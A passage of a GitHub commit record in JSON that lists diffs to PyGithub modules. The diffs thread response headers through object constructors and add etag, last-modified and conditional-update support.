github.GistHistoryState.GistHistoryState(self._requester, element, completed=False)\n+ github.GistHistoryState.GistHistoryState(self._requester, self._headers, element, completed=False)\n for element in attributes[\"history\"]\n ]\n if \"html_url\" in attributes: # pragma no branch\n@@ -358,4 +345,4 @@ def _useAttributes(self, attributes):\n self._url = attributes[\"url\"]\n if \"user\" in attributes: # pragma no branch\n assert attributes[\"user\"] is None or isinstance(attributes[\"user\"], dict), attributes[\"user\"]\n- self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"user\"], completed=False)\n+ self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"user\"], completed=False)"},{"sha":"5ee0664c5827eccb2cce3e514d907f70daa7e09c","filename":"github/GistComment.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GistComment.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GistComment.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GistComment.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -88,9 +89,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, body):\n@@ -106,8 +105,7 @@ def edit(self, body):\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -137,4 +135,4 @@ def _useAttributes(self, attributes):\n self._url = attributes[\"url\"]\n if \"user\" in attributes: # pragma no branch\n assert attributes[\"user\"] is None or isinstance(attributes[\"user\"], dict), attributes[\"user\"]\n- self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"user\"], completed=False)\n+ self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"user\"], completed=False)"},{"sha":"96c8ee2741d3fe8fbb40d12541f9e4a94839fdf3","filename":"github/GistFile.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GistFile.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GistFile.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GistFile.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"bc24d5c0700d0bf95d76e8cc1b20cdbbdfeb80a7","filename":"github/GistHistoryState.py","status":"modified","additions":3,"deletions":2,"changes":5,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GistHistoryState.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GistHistoryState.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GistHistoryState.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -84,7 +85,7 @@ def _initAttributes(self):\n def _useAttributes(self, attributes):\n if \"change_status\" in attributes: # pragma no branch\n assert attributes[\"change_status\"] is None or isinstance(attributes[\"change_status\"], dict), attributes[\"change_status\"]\n- self._change_status = None if attributes[\"change_status\"] is None else github.CommitStats.CommitStats(self._requester, attributes[\"change_status\"], completed=False)\n+ self._change_status = None if attributes[\"change_status\"] is None else github.CommitStats.CommitStats(self._requester, self._headers, attributes[\"change_status\"], completed=False)\n if \"committed_at\" in attributes: # pragma no branch\n assert attributes[\"committed_at\"] is None or isinstance(attributes[\"committed_at\"], str), attributes[\"committed_at\"]\n self._committed_at = self._parseDatetime(attributes[\"committed_at\"])\n@@ -93,7 +94,7 @@ def _useAttributes(self, attributes):\n self._url = attributes[\"url\"]\n if \"user\" in attributes: # pragma no branch\n assert attributes[\"user\"] is None or isinstance(attributes[\"user\"], dict), attributes[\"user\"]\n- self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"user\"], completed=False)\n+ self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"user\"], completed=False)\n if \"version\" in attributes: # pragma no branch\n assert attributes[\"version\"] is None or isinstance(attributes[\"version\"], str), attributes[\"version\"]\n self._version = attributes[\"version\"]"},{"sha":"e56ce94d55e53cc74e259293b1a2c91d22f8b40c","filename":"github/GitAuthor.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GitAuthor.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GitAuthor.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GitAuthor.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"8f1056829fa56386223cb843005d6777ac71d32e","filename":"github/GitBlob.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GitBlob.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GitBlob.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GitBlob.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"ffdc6d5a739ed5dd4f701cd2c345108ceb5499c2","filename":"github/GitCommit.py","status":"modified","additions":5,"deletions":4,"changes":9,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GitCommit.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GitCommit.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GitCommit.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -106,17 +107,17 @@ def _initAttributes(self):\n def _useAttributes(self, attributes):\n if \"author\" in attributes: # pragma no branch\n assert attributes[\"author\"] is None or isinstance(attributes[\"author\"], dict), attributes[\"author\"]\n- self._author = None if attributes[\"author\"] is None else github.GitAuthor.GitAuthor(self._requester, attributes[\"author\"], completed=False)\n+ self._author = None if attributes[\"author\"] is None else github.GitAuthor.GitAuthor(self._requester, self._headers, attributes[\"author\"], completed=False)\n if \"committer\" in attributes: # pragma no branch\n assert attributes[\"committer\"] is None or isinstance(attributes[\"committer\"], dict), attributes[\"committer\"]\n- self._committer = None if attributes[\"committer\"] is None else github.GitAuthor.GitAuthor(self._requester, attributes[\"committer\"], completed=False)\n+ self._committer = None if attributes[\"committer\"] is None else github.GitAuthor.GitAuthor(self._requester, self._headers, attributes[\"committer\"], completed=False)\n if \"message\" in attributes: # pragma no branch\n assert attributes[\"message\"] is None or isinstance(attributes[\"message\"], str), attributes[\"message\"]\n self._message = attributes[\"message\"]\n if \"parents\" in attributes: # pragma no branch\n assert attributes[\"parents\"] is None or all(isinstance(element, dict) for element in attributes[\"parents\"]), attributes[\"parents\"]\n self._parents = None if attributes[\"parents\"] is None else [\n- GitCommit(self._requester, element, completed=False)\n+ GitCommit(self._requester, self._headers, element, completed=False)\n for element in attributes[\"parents\"]\n ]\n if \"sha\" in attributes: # pragma no branch\n@@ -124,7 +125,7 @@ def _useAttributes(self, attributes):\n self._sha = attributes[\"sha\"]\n if \"tree\" in attributes: # pragma no branch\n assert attributes[\"tree\"] is None or isinstance(attributes[\"tree\"], dict), attributes[\"tree\"]\n- self._tree = None if attributes[\"tree\"] is None else github.GitTree.GitTree(self._requester, attributes[\"tree\"], completed=False)\n+ self._tree = None if attributes[\"tree\"] is None else github.GitTree.GitTree(self._requester, self._headers, attributes[\"tree\"], completed=False)\n if \"url\" in attributes: # pragma no branch\n assert attributes[\"url\"] is None or isinstance(attributes[\"url\"], str), attributes[\"url\"]\n self._url = attributes[\"url\"]"},{"sha":"a731464122384af8435525853343bce170cb5cd6","filename":"github/GitObject.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GitObject.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GitObject.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GitObject.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"97a2ca4d6e900f32d7910ef657afc40d4b91a539","filename":"github/GitRef.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GitRef.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GitRef.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GitRef.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -64,9 +65,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, sha, force=github.GithubObject.NotSet):\n@@ -86,8 +85,7 @@ def edit(self, sha, force=github.GithubObject.NotSet):\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -99,7 +97,7 @@ def _initAttributes(self):\n def _useAttributes(self, attributes):\n if \"object\" in attributes: # pragma no branch\n assert attributes[\"object\"] is None or isinstance(attributes[\"object\"], dict), attributes[\"object\"]\n- self._object = None if attributes[\"object\"] is None else github.GitObject.GitObject(self._requester, attributes[\"object\"], completed=False)\n+ self._object = None if attributes[\"object\"] is None else github.GitObject.GitObject(self._requester, self._headers, attributes[\"object\"], completed=False)\n if \"ref\" in attributes: # pragma no branch\n assert attributes[\"ref\"] is None or isinstance(attributes[\"ref\"], str), attributes[\"ref\"]\n self._ref = attributes[\"ref\"]"},{"sha":"564b6b86fa11f943796a0630afd00e17f7fee1ce","filename":"github/GitTag.py","status":"modified","additions":3,"deletions":2,"changes":5,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GitTag.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GitTag.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GitTag.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -96,7 +97,7 @@ def _useAttributes(self, attributes):\n self._message = attributes[\"message\"]\n if \"object\" in attributes: # pragma no branch\n assert attributes[\"object\"] is None or isinstance(attributes[\"object\"], dict), attributes[\"object\"]\n- self._object = None if attributes[\"object\"] is None else github.GitObject.GitObject(self._requester, attributes[\"object\"], completed=False)\n+ self._object = None if attributes[\"object\"] is None else github.GitObject.GitObject(self._requester, self._headers, attributes[\"object\"], completed=False)\n if \"sha\" in attributes: # pragma no branch\n assert attributes[\"sha\"] is None or isinstance(attributes[\"sha\"], str), attributes[\"sha\"]\n self._sha = attributes[\"sha\"]\n@@ -105,7 +106,7 @@ def _useAttributes(self, attributes):\n self._tag = attributes[\"tag\"]\n if \"tagger\" in attributes: # pragma no branch\n assert attributes[\"tagger\"] is None or isinstance(attributes[\"tagger\"], dict), attributes[\"tagger\"]\n- self._tagger = None if attributes[\"tagger\"] is None else github.GitAuthor.GitAuthor(self._requester, attributes[\"tagger\"], completed=False)\n+ self._tagger = None if attributes[\"tagger\"] is None else github.GitAuthor.GitAuthor(self._requester, self._headers, attributes[\"tagger\"], completed=False)\n if \"url\" in attributes: # pragma no branch\n assert attributes[\"url\"] is None or isinstance(attributes[\"url\"], str), attributes[\"url\"]\n self._url = attributes[\"url\"]"},{"sha":"b06c5e82369ae5ba3a50d0edc483e3b22c207aad","filename":"github/GitTree.py","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GitTree.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GitTree.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GitTree.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -73,7 +74,7 @@ def _useAttributes(self, attributes):\n if \"tree\" in attributes: # pragma no branch\n assert attributes[\"tree\"] is None or all(isinstance(element, dict) for element in attributes[\"tree\"]), attributes[\"tree\"]\n self._tree = None if attributes[\"tree\"] is None else [\n- github.GitTreeElement.GitTreeElement(self._requester, element, completed=False)\n+ github.GitTreeElement.GitTreeElement(self._requester, self._headers, element, completed=False)\n for element in attributes[\"tree\"]\n ]\n if \"url\" in attributes: # pragma no branch"},{"sha":"e7ae76bbcb10fa76c9b0b3316550045a03f5f81b","filename":"github/GitTreeElement.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GitTreeElement.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GitTreeElement.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GitTreeElement.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"02e7a75e28a911a1bf691663d2e2b3a6bde84768","filename":"github/GithubException.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GithubException.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GithubException.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GithubException.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"91c079b70a8508a3ab3f7f740f51bdda35cf87ea","filename":"github/GithubObject.py","status":"modified","additions":74,"deletions":10,"changes":84,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GithubObject.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GithubObject.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GithubObject.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -26,6 +27,7 @@\n import datetime\n \n import GithubException\n+import Consts\n \n \n class _NotSetType:\n@@ -38,14 +40,32 @@ class GithubObject(object):\n \"\"\"\n Base class for all classes representing objects returned by the API.\n \"\"\"\n- def __init__(self, requester, attributes, completed):\n+\n+ '''\n+ A global debug flag to enable header validation by requester for all objects\n+ '''\n+ CHECK_AFTER_INIT_FLAG = False\n+\n+ @classmethod\n+ def setCheckAfterInitFlag(cls, flag):\n+ cls.CHECK_AFTER_INIT_FLAG = flag\n+\n+ def __init__(self, requester, headers, attributes, completed):\n self._requester = requester\n self._initAttributes()\n- self._storeAndUseAttributes(attributes)\n+ self._storeAndUseAttributes(headers, attributes)\n \n- def _storeAndUseAttributes(self, attributes):\n- self._useAttributes(attributes)\n+ # Ask requester to do some checking, for debug and test purpose\n+ # Since it's most handy to access and kinda all-knowing\n+ if self.CHECK_AFTER_INIT_FLAG: # pragma no branch (Flag always set in tests)\n+ requester.check_me(self)\n+\n+ def _storeAndUseAttributes(self, headers, attributes):\n+ # Make sure headers are assigned before calling _useAttributes\n+ # (Some derived classes will use headers in _useAttributes)\n+ self._headers = headers\n self._rawData = attributes\n+ self._useAttributes(attributes)\n \n @property\n def raw_data(self):\n@@ -55,6 +75,14 @@ def raw_data(self):\n self._completeIfNeeded()\n return self._rawData\n \n+ @property\n+ def raw_headers(self):\n+ \"\"\"\n+ :type: dict\n+ \"\"\"\n+ self._completeIfNeeded()\n+ return self._headers\n+\n @staticmethod\n def _parentUrl(url):\n return \"/\".join(url.split(\"/\")[: -1])\n@@ -77,6 +105,20 @@ def _parseDatetime(s):\n else:\n return datetime.datetime.strptime(s, \"%Y-%m-%dT%H:%M:%SZ\")\n \n+ @property\n+ def etag(self):\n+ '''\n+ :type str\n+ '''\n+ return self._headers.get(Consts.RES_ETAG)\n+\n+ @property\n+ def last_modified(self):\n+ '''\n+ :type str\n+ '''\n+ return self._headers.get(Consts.RES_LAST_MODIFED)\n+\n \n class NonCompletableGithubObject(GithubObject):\n def _completeIfNeeded(self):\n@@ -84,8 +126,8 @@ def _completeIfNeeded(self):\n \n \n class CompletableGithubObject(GithubObject):\n- def __init__(self, requester, attributes, completed):\n- GithubObject.__init__(self, requester, attributes, completed)\n+ def __init__(self, requester, headers, attributes, completed):\n+ GithubObject.__init__(self, requester, headers, attributes, completed)\n self.__completed = completed\n \n def _completeIfNotSet(self, value):\n@@ -99,9 +141,31 @@ def _completeIfNeeded(self):\n def __complete(self):\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self._url,\n- None,\n- None\n+ self._url\n )\n- self._storeAndUseAttributes(data)\n+ self._storeAndUseAttributes(headers, data)\n self.__completed = True\n+\n+ def update(self):\n+ '''\n+ Check and update the object with conditional request\n+ :rtype: Boolean value indicating whether the object is changed\n+ '''\n+ conditionalRequestHeader = dict()\n+ if self.etag is not None:\n+ conditionalRequestHeader[Consts.REQ_IF_NONE_MATCH] = self.etag\n+ if self.last_modified is not None:\n+ conditionalRequestHeader[Consts.REQ_IF_MODIFIED_SINCE] = self.last_modified\n+\n+ status, responseHeaders, output = self._requester.requestJson(\n+ \"GET\",\n+ self._url,\n+ headers=conditionalRequestHeader\n+ )\n+ if status == 304:\n+ return False\n+ else:\n+ headers, data = self._requester._Requester__check(status, responseHeaders, output)\n+ self._storeAndUseAttributes(headers, data)\n+ self.__completed = True\n+ return True"},{"sha":"a8a7022f4602f37b2583f890e324b204cdc89a62","filename":"github/GitignoreTemplate.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/GitignoreTemplate.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/GitignoreTemplate.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GitignoreTemplate.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -3,6 +3,7 @@\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"447a0e9a7afa1e845dea9dc82f8c114251ea61bc","filename":"github/Hook.py","status":"modified","additions":7,"deletions":11,"changes":18,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Hook.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Hook.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Hook.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -30,7 +31,7 @@\n \n class Hook(github.GithubObject.CompletableGithubObject):\n \"\"\"\n- This class represents Hooks as returned for example by http://developer.github.com/v3/todo\n+ This class represents Hooks as returned for example by http://developer.github.com/v3/repos/hooks\n \"\"\"\n \n @property\n@@ -112,9 +113,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, name, config, events=github.GithubObject.NotSet, add_events=github.GithubObject.NotSet, remove_events=github.GithubObject.NotSet, active=github.GithubObject.NotSet):\n@@ -149,21 +148,18 @@ def edit(self, name, config, events=github.GithubObject.NotSet, add_events=githu\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n def test(self):\n \"\"\"\n- :calls: `POST /repos/:owner/:repo/hooks/:id/test `_\n+ :calls: `POST /repos/:owner/:repo/hooks/:id/tests `_\n :rtype: None\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n- self.url + \"/test\",\n- None,\n- None\n+ self.url + \"/tests\"\n )\n \n def _initAttributes(self):\n@@ -195,7 +191,7 @@ def _useAttributes(self, attributes):\n self._id = attributes[\"id\"]\n if \"last_response\" in attributes: # pragma no branch\n assert attributes[\"last_response\"] is None or isinstance(attributes[\"last_response\"], dict), attributes[\"last_response\"]\n- self._last_response = None if attributes[\"last_response\"] is None else github.HookResponse.HookResponse(self._requester, attributes[\"last_response\"], completed=False)\n+ self._last_response = None if attributes[\"last_response\"] is None else github.HookResponse.HookResponse(self._requester, self._headers, attributes[\"last_response\"], completed=False)\n if \"name\" in attributes: # pragma no branch\n assert attributes[\"name\"] is None or isinstance(attributes[\"name\"], str), attributes[\"name\"]\n self._name = attributes[\"name\"]"},{"sha":"5653492bbd94babe3e1039d8c30eda3dde4349bb","filename":"github/HookDescription.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/HookDescription.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/HookDescription.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/HookDescription.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"41e242b3abfb1ac7e961ee5a524cdb0455d5b253","filename":"github/HookResponse.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/HookResponse.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/HookResponse.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/HookResponse.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"b849e8d459dc6ecbb28278d17680d175a30ba391","filename":"github/Issue.py","status":"modified","additions":18,"deletions":27,"changes":45,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Issue.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Issue.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Issue.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -6,6 +6,7 @@\n # Copyright 2012 Philip Kimmey #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Stuart Glaser #\n # Copyright 2013 Vincent Jacques #\n # #\n@@ -148,7 +149,7 @@ def repository(self):\n if self._repository is github.GithubObject.NotSet:\n # The repository was not set automatically, so it must be looked up by url.\n repo_url = \"/\".join(self.url.split(\"/\")[:-2])\n- self._repository = github.Repository.Repository(self._requester, {'url': repo_url}, False)\n+ self._repository = github.Repository.Repository(self._requester, self._headers, {'url': repo_url}, completed=False)\n return self._repository\n \n @property\n@@ -202,8 +203,7 @@ def add_to_labels(self, *labels):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/labels\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n \n def create_comment(self, body):\n@@ -219,10 +219,9 @@ def create_comment(self, body):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/comments\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.IssueComment.IssueComment(self._requester, data, completed=True)\n+ return github.IssueComment.IssueComment(self._requester, headers, data, completed=True)\n \n def delete_labels(self):\n \"\"\"\n@@ -231,9 +230,7 @@ def delete_labels(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url + \"/labels\",\n- None,\n- None\n+ self.url + \"/labels\"\n )\n \n def edit(self, title=github.GithubObject.NotSet, body=github.GithubObject.NotSet, assignee=github.GithubObject.NotSet, state=github.GithubObject.NotSet, milestone=github.GithubObject.NotSet, labels=github.GithubObject.NotSet):\n@@ -269,8 +266,7 @@ def edit(self, title=github.GithubObject.NotSet, body=github.GithubObject.NotSet\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -283,11 +279,9 @@ def get_comment(self, id):\n assert isinstance(id, (int, long)), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self._parentUrl(self.url) + \"/comments/\" + str(id),\n- None,\n- None\n+ self._parentUrl(self.url) + \"/comments/\" + str(id)\n )\n- return github.IssueComment.IssueComment(self._requester, data, completed=True)\n+ return github.IssueComment.IssueComment(self._requester, headers, data, completed=True)\n \n def get_comments(self):\n \"\"\"\n@@ -334,9 +328,7 @@ def remove_from_labels(self, label):\n assert isinstance(label, github.Label.Label), label\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url + \"/labels/\" + label._identity,\n- None,\n- None\n+ self.url + \"/labels/\" + label._identity\n )\n \n def set_labels(self, *labels):\n@@ -350,8 +342,7 @@ def set_labels(self, *labels):\n headers, data = self._requester.requestJsonAndCheck(\n 